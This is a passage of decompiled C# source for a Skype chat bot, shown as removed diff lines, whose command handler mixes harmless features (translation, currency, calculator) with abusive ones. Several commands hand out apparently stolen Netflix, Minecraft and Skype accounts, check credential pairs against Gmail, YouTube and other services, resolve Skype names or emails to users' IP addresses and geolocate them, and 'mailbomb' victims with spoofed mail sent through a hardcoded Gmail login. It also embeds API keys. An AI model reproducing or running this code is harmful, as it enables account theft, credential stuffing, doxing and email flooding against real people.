- int num3 = num11;
- if (arg_2984_0 > num3)
- {
- break;
- }
- text26 = text26 + " " + array7[num12];
- num12++;
- }
- flag2 = (Operators.CompareString(text25, "detect", true) == 0);
- if (flag2)
- {
- string text27 = new WebClient
- {
- Proxy = null
- }.DownloadString("https://translate.yandex.net/api/v1.5/tr.json/detect?key=trnsl.1.1.20141215T135708Z.ba81e2e1e88ceb3b.01c0238e50401659ba7225b414ed017ee7f523ab&text=" + text26.Replace(" ", "+"));
- flag2 = text27.Contains("200");
- string froom;
- if (flag2)
- {
- froom = text27.Replace(MySettingsProperty.Settings.prf2, "").Replace(MySettingsProperty.Settings.prf3, "");
- }
- else
- {
- froom = "Error";
- }
- this.AddSwagToMSG(msg28, Conversions.ToString(this.translator(froom, too, text26)), 0);
- }
- else
- {
- this.AddSwagToMSG(msg28, Conversions.ToString(this.translator(text25, too, text26)), 0);
- }
- }
- flag2 = (Operators.CompareString(text, "currency", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "currency <from> <to> <amount>");
- }
- flag2 = text.StartsWith("currency ");
- if (flag2)
- {
- WebClient webClient6 = new WebClient();
- webClient6.Proxy = null;
- string[] array8 = text.Replace("currency ", "").Split(new char[]
- {
- ' '
- });
- string text28 = array8[0];
- string text29 = array8[1];
- string text30 = array8[2];
- ChatMessage msg29 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string str2 = webClient6.DownloadString(string.Concat(new string[]
- {
- "http://apis.skypebot.ga/apis/currency.php?from=",
- text28.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(),
- "&to=",
- text29.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(),
- "&amount=",
- text30.Replace(",", ".")
- }));
- this.AddSwagToMSG(msg29, str2 + " " + text29.Replace("€", "EUR").Replace("$", "USD").Replace("£", "GBP").ToUpper(), 0);
- }
- flag2 = (Operators.CompareString(text, "netflix", true) == 0);
- if (flag2)
- {
- ChatMessage msg30 = closure$__.$VB$Local_msg.Chat.SendMessage("Getting a new netflix account...");
- WebClient webClient7 = new WebClient();
- string text31 = Conversions.ToString(this.POST("http://apis.skypebot.ga/apis/gen.php?account=Netflix&auth=max", "h=True"));
- try
- {
- flag2 = Conversions.ToBoolean(this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle));
- if (!flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Command is only for premium members!");
- return;
- }
- webClient7.Proxy = null;
- this.AddSwagToMSG(msg30, "Found one!, Checking if the account is working...", 0);
- string[] array9 = text31.Split(new char[]
- {
- ':'
- });
- string pass = array9[1];
- string user2 = array9[0];
- string text32 = this.Nfcheck(user2, pass);
- this.AddSwagToMSG(msg30, text31 + "\r\nDon't leech!", 0);
- }
- catch (Exception expr_2D39)
- {
- ProjectData.SetProjectError(expr_2D39);
- this.AddSwagToMSG(msg30, text31 + "\r\nDon't leech!", 0);
- ProjectData.ClearProjectError();
- }
- }
- flag2 = (Operators.CompareString(text, "minecraft", true) == 0);
- if (flag2)
- {
- ChatMessage msg31 = closure$__.$VB$Local_msg.Chat.SendMessage("Getting a new minecraft account...");
- string text33 = Conversions.ToString(this.POST("http://skypebot.ga/apis/apis/mcgen5553.php", "h=True"));
- try
- {
- flag2 = Conversions.ToBoolean(this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle));
- if (!flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Command is only for premium members!");
- return;
- }
- WebClient webClient8 = new WebClient();
- webClient8.Proxy = null;
- this.AddSwagToMSG(msg31, "Found one!, Checking if the account is working...", 0);
- string[] array10 = text33.Split(new char[]
- {
- ':'
- });
- string text34 = array10[1];
- string text35 = array10[0];
- this.AddSwagToMSG(msg31, text33 + "\r\nDon't leech!", 0);
- }
- catch (Exception expr_2E5E)
- {
- ProjectData.SetProjectError(expr_2E5E);
- this.AddSwagToMSG(msg31, text33 + " -- UNCHECKED", 0);
- ProjectData.ClearProjectError();
- }
- }
- flag2 = text.StartsWith("skype");
- if (flag2)
- {
- WebClient webClient9 = new WebClient();
- webClient9.Proxy = null;
- ChatMessage msg32 = closure$__.$VB$Local_msg.Chat.SendMessage("Gathering account...");
- this.AddSwagToMSG(msg32, webClient9.DownloadString("http://skypebot.ga/apis/apis/skype.php"), 0);
- }
- flag2 = (Operators.CompareString(text, "calc", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "calc <expression> OR !calc help");
- }
- flag2 = (Operators.CompareString(text, "calc help", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage(MySettingsProperty.Settings.calc);
- }
- flag2 = text.StartsWith("calc ");
- if (flag2)
- {
- ChatMessage msg33 = closure$__.$VB$Local_msg.Chat.SendMessage("Calculating at a much higher speed then you do...");
- flag2 = (Operators.CompareString(text, "calc help", true) == 0);
- if (flag2)
- {
- return;
- }
- try
- {
- flag2 = text.Contains("^");
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("We can't do that :c");
- return;
- }
- string message3 = NewLateBinding.LateGet(this.Evaluator1, null, "Eval", new object[]
- {
- text.Replace("!", "").Replace("calc ", "")
- }, null, null, null).ToString();
- this.AddSwagToMSG(msg33, message3, 0);
- }
- catch (Exception expr_302D)
- {
- ProjectData.SetProjectError(expr_302D);
- Exception ex = expr_302D;
- closure$__.$VB$Local_msg.Chat.SendMessage("We can't do that :c");
- closure$__.$VB$Local_msg.Chat.SendMessage(Conversions.ToString(this.paste(string.Concat(new string[]
- {
- "Host: ",
- this.Skypattach.CurrentUserHandle,
- "\r\nSender: ",
- closure$__.$VB$Local_msg.Sender.Handle,
- "\r\nCmd: ",
- closure$__.$VB$Local_msg.Body,
- "\r\nError: ",
- ex.ToString()
- }), "Error!")));
- ProjectData.ClearProjectError();
- }
- }
- flag2 = (Operators.CompareString(text, "dns", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "dns <domain>");
- }
- flag2 = text.StartsWith("dns ");
- if (flag2)
- {
- ChatMessage chatMessage6 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- try
- {
- IPHostEntry iPHostEntry = Dns.Resolve(text.Replace("dns ", ""));
- IPAddress[] addressList = iPHostEntry.AddressList;
- chatMessage6.Body = "Dns records:";
- IPAddress[] array11 = addressList;
- for (int i = 0; i < array11.Length; i++)
- {
- IPAddress iPAddress = array11[i];
- chatMessage6.Body = chatMessage6.Body + "\r\n" + iPAddress.ToString();
- }
- }
- catch (Exception expr_31F9)
- {
- ProjectData.SetProjectError(expr_31F9);
- Exception ex2 = expr_31F9;
- flag2 = ex2.ToString().ToLower().Contains("no such host is known");
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage6, "Invalid host.", 0);
- }
- ProjectData.ClearProjectError();
- }
- }
- flag2 = text.StartsWith("createg");
- if (flag2)
- {
- ChatMessage msg34 = closure$__.$VB$Local_msg.Chat.SendMessage("Creating...");
- this.AddSwagToMSG(msg34, "Unable to create group, do /createmoderatedchat and add everyone you want there, that'll work!", 0);
- }
- flag2 = (Operators.CompareString(text, "check", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "check <help/arguments>");
- }
- flag2 = text.StartsWith("check ");
- if (flag2)
- {
- string text36 = text.Replace("check ", "");
- flag2 = (Operators.CompareString(text36, "help", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("----------CHECK PANEL----------\r\nDoesn't support spaces in passwords!\r\n!check gmail <mail> <password> -- Checks if a gmail acc is working!\r\n!check mc <user/mail> <password> -- Checks if a minecraft account is working\r\n!check nf <mail> <password> -- Checks if a netflix account is working\r\n!check yt <mail> <password> -- Checks if a youtube account is working!\r\n----------CHECK PANEL----------");
- }
- WebClient webClient10 = new WebClient();
- webClient10.Proxy = null;
- text36 = text36.Replace(":", " ");
- flag2 = text36.StartsWith("gmail ");
- if (flag2)
- {
- ChatMessage msg35 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
- string text37 = "http://apis.skypebot.ga/apis/gmail.php?mail=[user]&pass=[pass]";
- string[] array12 = text36.Replace("mc ", "").Split(new char[]
- {
- ' '
- });
- string newValue = array12[1];
- string newValue2 = array12[0];
- flag2 = !webClient10.DownloadString(text37.Replace("[user]", newValue2).Replace("[pass]", newValue)).ToLower().Contains("doesn't ");
- if (flag2)
- {
- this.AddSwagToMSG(msg35, "This account is working!", 0);
- }
- else
- {
- this.AddSwagToMSG(msg35, "This account isn't working, please recheck it!", 0);
- }
- }
- flag2 = text36.StartsWith("mc ");
- if (flag2)
- {
- ChatMessage msg36 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
- string text37 = "http://apis.skypebot.ga/apis/mccheck.php?user=[user]&pass=[pass]";
- string[] array13 = text36.Replace("mc ", "").Split(new char[]
- {
- ' '
- });
- string newValue3 = array13[1];
- string newValue4 = array13[0];
- flag2 = webClient10.DownloadString(text37.Replace("[user]", newValue4).Replace("[pass]", newValue3)).ToLower().Contains("working");
- if (flag2)
- {
- this.AddSwagToMSG(msg36, "This account is working!", 0);
- }
- else
- {
- this.AddSwagToMSG(msg36, "This account isn't working, please recheck it!", 0);
- }
- }
- flag2 = text36.StartsWith("yt ");
- if (flag2)
- {
- ChatMessage msg37 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
- string text37 = "http://apis.skypebot.ga/apis/yt.php?mail=[user]&pass=[pass]";
- string[] array14 = text36.Replace("yt ", "").Split(new char[]
- {
- ' '
- });
- string newValue5 = array14[1];
- string newValue6 = array14[0];
- flag2 = !webClient10.DownloadString(text37.Replace("[user]", newValue6).Replace("[pass]", newValue5)).ToLower().Contains("doesn't ");
- if (flag2)
- {
- this.AddSwagToMSG(msg37, "This account is working!", 0);
- }
- else
- {
- this.AddSwagToMSG(msg37, "This account isn't working, please recheck it!", 0);
- }
- }
- flag2 = text36.StartsWith("nf ");
- if (flag2)
- {
- ChatMessage msg38 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking...");
- string[] array15 = text36.Replace("nf ", "").Split(new char[]
- {
- ' '
- });
- string pass2 = array15[1];
- string user3 = array15[0];
- flag2 = (Operators.CompareString(this.Nfcheck(user3, pass2), "1", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(msg38, "This account is working!", 0);
- }
- else
- {
- this.AddSwagToMSG(msg38, "This account isn't working, please recheck it!", 0);
- }
- }
- }
- flag2 = (Operators.CompareString(text, "mail2skype", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mail2skype <mail>");
- }
- flag2 = text.StartsWith("mail2skype ");
- if (flag2)
- {
- ChatMessage msg39 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string str3 = text.Replace("mail2skype ", "");
- this.AddSwagToMSG(msg39, "Getting skypename...", 0);
- WebClient webClient11 = new WebClient();
- webClient11.Proxy = null;
- string text38 = Conversions.ToString(this.POST("http://apis.skypebot.ga/apis/mail2skype.php", "auth=sb&u=" + str3));
- flag2 = (Operators.CompareString(text38, "", true) == 0);
- if (flag2)
- {
- text38 = "No results found.";
- }
- this.AddSwagToMSG(msg39, text38.Replace(" | ", ", "), 0);
- }
- flag2 = (Operators.CompareString(text, "mail2ip", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mail2ip <mail>");
- }
- flag2 = text.StartsWith("mail2ip ");
- if (flag2)
- {
- ChatMessage chatMessage7 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string str4 = text.Replace("mail2ip ", "");
- this.AddSwagToMSG(chatMessage7, "Getting skypename...", 0);
- WebClient webClient12 = new WebClient();
- webClient12.Proxy = null;
- string text39 = Conversions.ToString(NewLateBinding.LateGet(this.POST("http://apis.skypebot.ga/apis/mail2skype.php", "auth=sb&u=" + str4), null, "Replace", new object[]
- {
- " | ",
- " "
- }, null, null, null));
- flag2 = (Operators.CompareString(text39, "", true) == 0);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage7, "No results found!", 0);
- }
- chatMessage7.Body = "Resolving...";
- flag2 = text39.Contains(" ");
- if (!flag2)
- {
- string skype = text39;
- chatMessage7.Body = "Resolver 1: Resolving...\r\nResolver 2: Resolving...\r\nCached IPs: Resolving...";
- string text40 = Conversions.ToString(this.Resolve1(skype));
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
- if (flag2)
- {
- text40 = "IP of this user has been whitelisted! (or API is down)";
- }
- flag2 = (Operators.CompareString(text40, "error", true) == 0);
- if (flag2)
- {
- text40 = "Failed!";
- }
- string str5 = "Resolver 1: " + text40 + "\r\nResolver 2: ";
- chatMessage7.Body = str5 + "Resolving...\r\nCached IPs: Resolving...";
- text40 = Conversions.ToString(this.Resolve2(skype));
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
- if (flag2)
- {
- text40 = "IP of this user has been whitelisted! (or API is down)";
- }
- flag2 = (Operators.CompareString(text40, "error", true) == 0);
- if (flag2)
- {
- text40 = "Failed!";
- }
- str5 = str5 + text40 + "\r\nCached IPs: ";
- chatMessage7.Body = str5 + "Resolving...";
- text40 = Conversions.ToString(this.Cached(skype));
- flag2 = MySettingsProperty.Settings.whitelist.Contains(text40);
- if (flag2)
- {
- text40 = "IP of this user has been whitelisted! (or API is down)";
- }
- flag2 = (Operators.CompareString(text40, "error", true) == 0);
- if (flag2)
- {
- text40 = "Failed!";
- }
- chatMessage7.Body = str5 + text40;
- return;
- }
- string[] array16 = text39.Split(new char[]
- {
- ' '
- });
- string text41 = "";
- int arg_38C2_0 = 0;
- int num13 = array16.Length - 1;
- int num14 = arg_38C2_0;
- while (true)
- {
- int arg_3AA0_0 = num14;
- int num3 = num13;
- if (arg_3AA0_0 > num3)
- {
- break;
- }
- chatMessage7.Body = text41 + "Result " + Conversions.ToString(num14 + 1) + ": Resolving...; Resolving...; Resolving...";
- string text42 = Conversions.ToString(this.Resolve1(array16[num14]));
- chatMessage7.Body = string.Concat(new string[]
- {
- text41,
- "Result ",
- Conversions.ToString(num14 + 1),
- ": ",
- text42,
- "; Resolving...; Resolving..."
- });
- string text43 = Conversions.ToString(this.Resolve2(array16[num14]));
- chatMessage7.Body = string.Concat(new string[]
- {
- text41,
- "Result ",
- Conversions.ToString(num14 + 1),
- ": ",
- text42,
- "; ",
- text43,
- "; Resolving..."
- });
- string text44 = Conversions.ToString(this.Cached(array16[num14]));
- chatMessage7.Body = string.Concat(new string[]
- {
- text41,
- "Result ",
- Conversions.ToString(num14 + 1),
- ": ",
- text42,
- "; ",
- text43,
- "; ",
- text44
- });
- text41 = chatMessage7.Body + "\r\n";
- num14++;
- }
- }
- flag2 = (Operators.CompareString(text, "mailbomb", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "mailbomb <times> <email> <spoofmail> <msg>");
- }
- flag2 = text.StartsWith("mailbomb ");
- if (flag2)
- {
- ChatMessage chatMessage8 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- string text45 = text.Replace("mailbomb ", "");
- string[] array17 = text45.Split(new char[]
- {
- ' '
- });
- string text46 = "";
- string text47 = "";
- try
- {
- text46 = array17[1];
- string text48 = array17[2];
- text47 = array17[3];
- }
- catch (Exception expr_3CF0)
- {
- ProjectData.SetProjectError(expr_3CF0);
- this.AddSwagToMSG(chatMessage8, "Recheck your syntax (!help mailbomb)", 0);
- ProjectData.ClearProjectError();
- }
- flag2 = (!text46.Contains("@") | !text46.Contains(".") | text46.Length < 6);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage8, "ERROR: Invalid email!", 0);
- return;
- }
- flag2 = (text47.Length < 1);
- if (flag2)
- {
- this.AddSwagToMSG(chatMessage8, "ERROR: Please enter a longer message!", 0);
- return;
- }
- this.AddSwagToMSG(chatMessage8, "Making MSG...", 0);
- flag2 = Versioned.IsNumeric(array17[0]);
- if (!flag2)
- {
- this.AddSwagToMSG(chatMessage8, "ERROR: You entered an invalid number, try to swap the number and msg!", 0);
- return;
- }
- flag = Conversions.ToBoolean(this.IsUltimate(closure$__.$VB$Local_msg.Sender.Handle));
- if (!flag)
- {
- flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array17[0]) > 60.0, this.IsPremium(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag2)
- {
- array17[0] = Conversions.ToString(60);
- }
- else
- {
- flag2 = Conversions.ToBoolean(Operators.AndObject(Conversions.ToDouble(array17[0]) > 10.0, this.IsNormalUser(closure$__.$VB$Local_msg.Sender.Handle)));
- if (flag2)
- {
- array17[0] = Conversions.ToString(10);
- }
- }
- }
- int arg_3E9C_0 = 4;
- int num15 = array17.Length - 1;
- int num16 = arg_3E9C_0;
- while (true)
- {
- int arg_3EC8_0 = num16;
- int num3 = num15;
- if (arg_3EC8_0 > num3)
- {
- break;
- }
- text47 = text47 + " " + array17[num16];
- num16++;
- }
- MailMessage mailMessage = new MailMessage();
- SmtpClient smtpClient = new SmtpClient();
- flag2 = !text46.Contains("aol.com");
- if (flag2)
- {
- mailMessage.From = new MailAddress(array17[2], array17[2]);
- }
- else
- {
- mailMessage.From = new MailAddress("lesleydk.ldk@gmail.com", array17[2].Replace("@", " ").Replace(".", " "));
- }
- mailMessage.To.Add(text46);
- mailMessage.Body = text47;
- smtpClient.Host = "smtp.gmail.com";
- smtpClient.Port = 587;
- smtpClient.EnableSsl = true;
- smtpClient.Credentials = new NetworkCredential("lesleydk.ldk@gmail.com", "aqlekccogegkksro");
- double arg_3FB1_0 = 0.0;
- unchecked
- {
- double num17 = Conversions.ToDouble(array17[0]) - 1.0;
- double num18 = arg_3FB1_0;
- while (true)
- {
- double arg_4068_0 = num18;
- double num19 = num17;
- if (arg_4068_0 > num19)
- {
- break;
- }
- chatMessage8.Body = string.Concat(new string[]
- {
- "Sending MSG ",
- Conversions.ToString(num18 + 1.0),
- "/",
- array17[0],
- "."
- });
- mailMessage.Subject = array17[3] + "... " + Conversions.ToString(num18 + 1.0);
- smtpClient.Send(mailMessage);
- num18 += 1.0;
- }
- this.AddSwagToMSG(chatMessage8, "#MailBombed", 0);
- }
- }
- flag2 = (Operators.CompareString(text, "ip2s", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "ip2s <ip>");
- }
- flag2 = text.StartsWith("ip2s ");
- if (flag2)
- {
- string str6 = text.Replace("ip2s ", "");
- WebClient webClient13 = new WebClient();
- webClient13.Proxy = null;
- ChatMessage msg40 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- webClient13.Headers.Add(HttpRequestHeader.Referer, "http://api.c99.nl/cmd/");
- string message4 = webClient13.DownloadString("http://api.c99.nl/ip2skype.php?key=skypebotje123&ip=" + str6);
- this.AddSwagToMSG(msg40, message4, 0);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "nameinfo", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "nameinfo <firstname> <last name>");
- }
- flag2 = text.StartsWith("nameinfo ");
- if (flag2)
- {
- ChatMessage msg41 = closure$__.$VB$Local_msg.Chat.SendMessage("Searching...");
- WebClient webClient14 = new WebClient();
- webClient14.Proxy = null;
- string[] array18 = text.Replace("nameinfo ", "").Split(new char[]
- {
- ' '
- });
- string str7 = array18[0];
- string text49 = array18[1];
- int arg_4208_0 = 2;
- int num20 = array18.Length - 1;
- int num21 = arg_4208_0;
- while (true)
- {
- int arg_422F_0 = num21;
- int num3 = num20;
- if (arg_422F_0 > num3)
- {
- break;
- }
- text49 += array18[num21];
- num21++;
- }
- string text50 = webClient14.DownloadString("http://api.icndb.com/jokes/random?firstName=" + str7 + "&lastName=" + text49);
- flag2 = text50.Contains("success");
- if (flag2)
- {
- this.AddSwagToMSG(msg41, Conversions.ToString(this.Decodehtml(Regex.Match(text50, MySettingsProperty.Settings.regexnameinfo, RegexOptions.IgnoreCase).Value.ToString().Replace(MySettingsProperty.Settings.prf6, "").Replace("\",", ""))), 0);
- }
- else
- {
- this.AddSwagToMSG(msg41, "Error.", 0);
- }
- }
- else
- {
- flag2 = (Operators.CompareString(text, "crawl", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "crawl <page>");
- }
- flag2 = text.StartsWith("crawl ");
- if (flag2)
- {
- string str8 = text.Replace("crawl ", "").Replace(" ", "");
- ChatMessage msg42 = closure$__.$VB$Local_msg.Chat.SendMessage("Crawling...");
- this.AddSwagToMSG(msg42, "Crawling...", 0);
- string message5 = Conversions.ToString(this.paste("------------------------\r\n" + new WebClient
- {
- Proxy = null
- }.DownloadString("http://api.hackertarget.com/pagelinks/?q=" + str8).Replace(" ", "%20").Replace(" ", "%20%20") + "------------------------", "Crawl of " + str8));
- this.AddSwagToMSG(msg42, message5, 0);
- }
- flag2 = (Operators.CompareString(text, "geo", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "geo <ip>");
- }
- flag2 = text.StartsWith("geo ");
- if (flag2)
- {
- string text51 = text.Replace("geo ", "").Replace(" ", "");
- ChatMessage msg43 = closure$__.$VB$Local_msg.Chat.SendMessage("Initializing...");
- this.AddSwagToMSG(msg43, "Initializing...", 0);
- string text52 = text51;
- flag2 = text52.Contains(":");
- if (flag2)
- {
- string[] array19 = text52.Split(new char[]
- {
- ':'
- });
- text52 = array19[0];
- }
- string text53 = "";
- string text54 = "";
- string text55 = "";
- string text56 = "";
- string text57 = "";
- string text58 = "";
- flag2 = this.microsoftip(text52).ToString().ToLower().Contains("true");
- int num22;
- if (flag2)
- {
- num22 = 1;
- }
- else
- {
- num22 = 0;
- }
- WebClient webClient15 = new WebClient();
- webClient15.Proxy = null;
- this.AddSwagToMSG(msg43, "Checking for skype usernames...", 0);
- flag2 = (num22 == 0);
- if (flag2)
- {
- try
- {
- webClient15.Headers.Add(HttpRequestHeader.Referer, "http://api.c99.nl/cmd/");
- text58 = webClient15.DownloadString("http://api.c99.nl/ip2skype.php?key=skypebotje123&ip=" + text52);
- }
- catch (Exception expr_45A4)
- {
- ProjectData.SetProjectError(expr_45A4);
- this.AddSwagToMSG(msg43, "Error", 0);
- ProjectData.ClearProjectError();
- }
- }
- else
- {
- this.AddSwagToMSG(msg43, "Error or this is a microsoft IP.", 0);
- }
- this.AddSwagToMSG(msg43, "Getting main info...", 0);
- string text59 = webClient15.DownloadString("http://geoip.maxmind.com/f?l=wnFd0cyKvtLe&i=" + text52);
- string[] array20 = text59.Split(new char[]
- {
- ','
- });
- text57 = array20[8].Replace("\"", "");
- string[] array21 = MySettingsProperty.Settings.countrycodes.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- string str9 = "Unknown";
- int arg_4671_0 = 0;
- int num23 = array21.Length - 1;
- int num24 = arg_4671_0;
- string[] array22;
- while (true)
- {
- int arg_46E0_0 = num24;
- int num3 = num23;
- if (arg_46E0_0 > num3)
- {
- goto IL_46E2;
- }
- array22 = array21[num24].Split(new char[]
- {
- ','
- });
- flag2 = (Operators.CompareString(array22[0], array20[0], true) == 0);
- if (flag2)
- {
- break;
- }
- num24++;
- }
- str9 = array22[1].Replace("\"", "");
- IL_46E2:
- string str10 = "Unknown";
- array21 = MySettingsProperty.Settings.regioncodes.Split(new string[]
- {
- Environment.NewLine
- }, StringSplitOptions.None);
- int arg_4720_0 = 0;
- int num25 = array21.Length - 1;
- int num26 = arg_4720_0;
- string[] array23;
- while (true)
- {
- int arg_47AB_0 = num26;
- int num3 = num25;
- if (arg_47AB_0 > num3)
- {
- goto IL_47B0;
- }
- array23 = array21[num26].Split(new char[]
- {
- ','
- });
- flag2 = (Operators.CompareString(array23[0] + "," + array23[1], array20[0] + "," + array20[1], true) == 0);
- if (flag2)
- {
- break;
- }
- num26++;
- }
- str10 = array23[2].Replace("\"", "");
- IL_47B0:
- text53 = array20[0] + ", " + str9;
- text54 = str10 + ", " + array20[2];
- text56 = array20[4];
- this.AddSwagToMSG(msg43, "Getting ReserveDNS info...", 0);
- try
- {
- IPHostEntry hostEntry = Dns.GetHostEntry(text52);
- string text60 = hostEntry.HostName.ToString();
- flag2 = (hostEntry.Aliases.Length > 0);
- if (flag2)
- {
- int num27 = 0;
- string[] aliases = hostEntry.Aliases;
- for (int j = 0; j < aliases.Length; j++)
- {
- string text61 = aliases[j];
- num27++;
- text60 = string.Concat(new string[]
- {
- text60,
- "\r\nNr",
- Conversions.ToString(num27),
- " host: ",
- text61
- });
- }
- }
- text55 = text60;
- }
- catch (Exception expr_48B5)
- {
- ProjectData.SetProjectError(expr_48B5);
- text55 = "Error";
- ProjectData.ClearProjectError();
- }
- string text62 = array20[5];
- text59 = webClient15.DownloadString("http://api.ipinfodb.com/v3/ip-city/?key=d8dc071351f3b1882b26d5b6820df28eaf2528a2746d78ea4fcbfbe5fe52089d&ip=" + text52 + "&timezone=true");
- array20 = text59.Split(new char[]
- {
- ';'
- });
- flag2 = (Operators.CompareString(array20[0], "OK", true) == 0);
- string message6;
- if (flag2)
- {
- string text63 = array20[7];
- string text64 = array20[10];
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text56.EndsWith("0");
- if (flag2)
- {
- text56 = text56.Remove(text56.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith("0");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text62.EndsWith(".");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- flag2 = text56.EndsWith(".");
- if (flag2)
- {
- text62 = text62.Remove(text62.Length - 1);
- }
- message6 = string.Concat(new string[]
- {
- "IP: ",
- text52,
- "\r\nLocation: ",
- text53,
- ", ",
- text54,
- "\r\nCoordinates: LA: ",
- text56,
- " LO: ",
- text62,
- "\r\nTimezone: ",
- text64,
- "\r\nSkype Name: ",
- text58,
- "\r\nISP: ",
- text57,
- "\r\nDNS: ",
- text55,
- "\r\nGoogle Maps: https://maps.google.com/?ll=",
- text56,
- ",",
- text62
- });
- }
- else
- {
- message6 = "ERROR: Invalid IP";
- }
- this.AddSwagToMSG(msg43, message6, 0);
- }
- else
- {
- flag2 = (Operators.CompareString(text, "portopen", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "portopen <ip> <port>");
- }
- flag2 = text.StartsWith("portopen ");
- if (flag2)
- {
- ChatMessage chatMessage9 = closure$__.$VB$Local_msg.Chat.SendMessage("Checking the port...");
- string[] array24 = text.Replace("portopen ", "").Split(new char[]
- {
- ' '
- });
- string text65 = array24[0];
- string text66 = array24[1];
- flag2 = Operators.ConditionalCompareObjectEqual(this.isportopen(text65, text66), true, true);
- if (flag2)
- {
- chatMessage9.Body = string.Concat(new string[]
- {
- "Port on ",
- text65,
- ":",
- text66,
- " is open!"
- });
- }
- else
- {
- chatMessage9.Body = string.Concat(new string[]
- {
- "Port on ",
- text65,
- ":",
- text66,
- " is closed!"
- });
- }
- }
- flag2 = (Operators.CompareString(text, "game", true) == 0);
- if (flag2)
- {
- closure$__.$VB$Local_msg.Chat.SendMessage("Right Syntax: " + this.trigger + "game <help/parameters>");
- }
- flag2 = text.StartsWith("game ");
- if (flag2)
- {
- ChatMessage chatMessage10 = closure$__.$VB$Local_msg.Chat.SendMessage("Gaming...");
- string text67 = text.Replace("game ", "");
- flag2 = (Operators.CompareString(text67, "help", true) == 0);
- if (flag2)
- {
- chatMessage10.Body = MySettingsProperty.Settings.gamehelp;
- return;
- }
- flag2 = (Operators.CompareString(text67, "tut", true) == 0);
- if (flag2)
- {
- chatMessage10.Body = MySettingsProperty.Settings.gametut;
- return;
- }
